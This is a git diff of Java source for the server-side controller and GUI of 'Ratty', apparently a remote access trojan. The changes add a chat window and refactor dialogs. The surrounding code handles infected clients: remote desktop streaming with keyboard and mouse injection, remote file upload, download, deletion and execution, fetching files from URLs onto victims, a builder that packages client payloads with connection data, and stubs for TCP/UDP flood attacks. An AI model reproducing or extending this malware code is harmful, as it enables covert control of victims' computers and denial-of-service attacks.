@Override public void showMessage(final String message) { final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE); final JDialog dialog = pane.createDialog(frame, null); @@ -247,12 +270,15 @@ final class RattyGui extends AbstractListenerContainer { dialog.setVisible(true); } - public int showOptionDialog(final String message, final String... options) { + @Override + public int showOptions(final String message, final String yes, final String no, final String cancel) { + final String[] options = {yes, no, cancel}; final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); return input; } + @Override public File getFile(final String type) { final FileFilter filter; @@ -275,10 +301,12 @@ final class RattyGui extends AbstractListenerContainer { return null; } + @Override public File getFile() { return getFile(null); } + @Override public File getSaveFile() { final int input = fileChooser.showSaveDialog(frame); @@ -291,6 +319,7 @@ final class RattyGui extends AbstractListenerContainer { return null; } + @Override public File getSaveFile(final String type) { File file = getSaveFile(); @@ -308,12 +337,14 @@ final class RattyGui extends AbstractListenerContainer { return file; } + @Override public String getInput(final String message) { final String input = JOptionPane.showInputDialog(frame, message); return input; } + @Override public String getInput() { return getInput(null); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index d7a9683..8d641d4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -20,6 +20,7 @@ import de.sogomn.engine.util.Scheduler.Task; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.builder.JarBuilder; import de.sogomn.rat.packet.AudioPacket; +import de.sogomn.rat.packet.ChatPacket; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CreateDirectoryPacket; @@ -47,7 +48,8 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; */ public final class RattyGuiController extends AbstractRattyController implements IGuiController { - private RattyGui gui; + private ActiveServer server; + private IRattyGui gui; private HashMap clients; @@ -55,7 +57,7 @@ public final class RattyGuiController extends AbstractRattyController implements private Scheduler scheduler; private Task pingTask; - private static final String BUILDER_REPLACEMENT = "connection_data.txt"; + private static final String BUILDER_REPLACEMENT = "connection_data"; private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue"; private static final String[] BUILDER_REMOVALS = { "ping.wav", @@ -93,31 +95,32 @@ public final class RattyGuiController extends AbstractRattyController implements private static final Sound PING = Sound.loadSound("/ping.wav"); - public RattyGuiController() { - gui = new RattyGui(); - clients = new HashMap(); - clock = new Clock(); - scheduler = new Scheduler(); - pingTask = new Task(() -> { + public RattyGuiController(final ActiveServer server, final IRattyGui gui) { + this.server = server; + this.gui = gui; + + final Runnable task = () -> { final PingPacket packet = new PingPacket(); connections.forEach(connection -> connection.addPacket(packet)); - pingTask.reset(); - }, PING_INTERVAL); - + }; final Thread pingThread = new Thread(() -> { while (true) { clock.update(); } }); + clients = new HashMap(); + clock = new Clock(); + scheduler = new Scheduler(); + pingTask = new Task(task, PING_INTERVAL); + pingThread.setDaemon(true); pingThread.start(); scheduler.addTask(pingTask); clock.addListener(scheduler); - gui.addListener(this); } /* @@ -179,7 +182,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private DownloadFilePacket createDownloadPacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final DownloadFilePacket packet = new DownloadFilePacket(path); @@ -190,7 +193,7 @@ public final class RattyGuiController extends AbstractRattyController implements final File file = gui.getFile(); if (file != null) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final UploadFilePacket packet = new UploadFilePacket(file, path); @@ -201,7 +204,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private ExecuteFilePacket createExecutePacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final ExecuteFilePacket packet = new ExecuteFilePacket(path); @@ -209,7 +212,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private DeleteFilePacket createDeletePacket(final ServerClient client) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final DeleteFilePacket packet = new DeleteFilePacket(path); @@ -220,7 +223,7 @@ public final class RattyGuiController extends AbstractRattyController implements final String input = gui.getInput(); if (input != null) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input); @@ -246,7 +249,7 @@ public final class RattyGuiController extends AbstractRattyController implements final String address = gui.getInput(URL_MESSAGE); if (address != null) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); @@ -280,6 +283,13 @@ public final class RattyGuiController extends AbstractRattyController implements return null; } + private ChatPacket createChatPacket(final ServerClient client) { + final String message = client.chat.getMessage(); + final ChatPacket packet = new ChatPacket(message); + + return packet; + } + private void toggleDesktopStream(final ServerClient client) { final boolean streamingDesktop = client.isStreamingDesktop(); @@ -300,7 +310,7 @@ public final class RattyGuiController extends AbstractRattyController implements } private void requestFile(final ServerClient client) { - final FileTreeNode node = client.fileTree.getClickedNode(); + final FileTreeNode node = client.fileTree.getNodeClicked(); final String path = node.getPath(); final FileRequestPacket packet = new FileRequestPacket(path); @@ -342,13 +352,17 @@ public final class RattyGuiController extends AbstractRattyController implements } private void launchAttack() { - final int input = gui.showOptionDialog(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL); + final int input = gui.showOptions(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL); + + //AttackPacket packet = null; if (input == JOptionPane.YES_OPTION) { //TCP flood packet } else if (input == JOptionPane.NO_OPTION) { //UDP flood packet } + + //broadcast(packet); } private void handleCommand(final ServerClient client, final String command) { @@ -366,6 +380,10 @@ public final class RattyGuiController extends AbstractRattyController implements startBuilder(); } else if (command == FileTree.REQUEST) { requestFile(client); + } else if (command == RattyGui.CHAT) { + client.chat.setVisible(true); + } else if (command == RattyGui.CLOSE) { + server.close(); } } @@ -404,6 +422,8 @@ public final class RattyGuiController extends AbstractRattyController implements packet = createUploadExecutePacket(client); } else if (command == RattyGui.DROP_EXECUTE) { packet = createDropExecutePacket(client); + } else if (command == ChatWindow.MESSAGE_SENT) { + packet = createChatPacket(client); } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { packet = client.displayPanel.getLastMouseEventPacket(); } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { @@ -471,10 +491,16 @@ public final class RattyGuiController extends AbstractRattyController implements final long milliseconds = packet.getMilliseconds(); client.setPing(milliseconds); - gui.update(); } + private void handleChatPacket(final ServerClient client, final ChatPacket packet) { + final String message = packet.getMessage(); + final String name = client.getName(); + + client.chat.addLine(name + ": " + message); + } + private boolean handlePacket(final ServerClient client, final IPacket packet) { final Class clazz = packet.getClass(); @@ -504,6 +530,10 @@ public final class RattyGuiController extends AbstractRattyController implements final PingPacket ping = (PingPacket)packet; handlePing(client, ping); + } else if (clazz == ChatPacket.class) { + final ChatPacket chat = (ChatPacket)packet; + + handleChatPacket(client, chat); } else if (clazz == FreePacket.class) { //To prevent shutdown } else { @@ -545,7 +575,7 @@ public final class RattyGuiController extends AbstractRattyController implements client.logIn(name, os, version, icon); client.addListener(this); - gui.addRow(client); + gui.addClient(client); notification.trigger(); PING.play(); } @@ -581,26 +611,27 @@ public final class RattyGuiController extends AbstractRattyController implements public void disconnected(final ActiveConnection connection) { final ServerClient client = getClient(connection); - gui.removeRow(client); + super.disconnected(connection); + + gui.removeClient(client); + clients.remove(connection); client.removeListener(this); client.setStreamingDesktop(false); client.setStreamingVoice(false); - - clients.remove(connection); - - super.disconnected(connection); + client.logOut(); } @Override public void closed(final ActiveServer server) { - gui.removeAllListeners(); - super.closed(server); + + clients.values().forEach(ServerClient::logOut); } @Override - public void userInput(final String command, final ServerClient client) { + public void userInput(final String command, final Object source) { + final ServerClient client = (ServerClient)source; final IPacket packet = createPacket(client, command); if (packet != null) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index 54a0a8e..dba3354 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -13,15 +13,17 @@ final class ServerClient { private boolean streamingDesktop, streamingVoice; private long ping; - public final ActiveConnection connection; - public final DisplayPanel displayPanel; - public final FileTree fileTree; + final ActiveConnection connection; + final DisplayPanel displayPanel; + final FileTree fileTree; + final ChatWindow chat; public ServerClient(final ActiveConnection connection) { this.connection = connection; displayPanel = new DisplayPanel(this); fileTree = new FileTree(this); + chat = new ChatWindow(this); } public void logIn(final String name, final String os, final String version, final ImageIcon flag) { @@ -34,18 +36,32 @@ final class ServerClient { displayPanel.setTitle(title); fileTree.setTitle(title); + chat.setTitle(title); loggedIn = true; } + public void logOut() { + loggedIn = false; + + System.err.println(); + System.err.println("THE FOLLOWING IS A JVM BUG!"); + displayPanel.close(); + fileTree.close(); + chat.close(); + System.err.println(); + } + public void addListener(final IGuiController controller) { displayPanel.addListener(controller); fileTree.addListener(controller); + chat.addListener(controller); } public void removeListener(final IGuiController controller) { displayPanel.removeListener(controller); fileTree.removeListener(controller); + chat.removeListener(controller); } public void setStreamingDesktop(final boolean streamingDesktop) {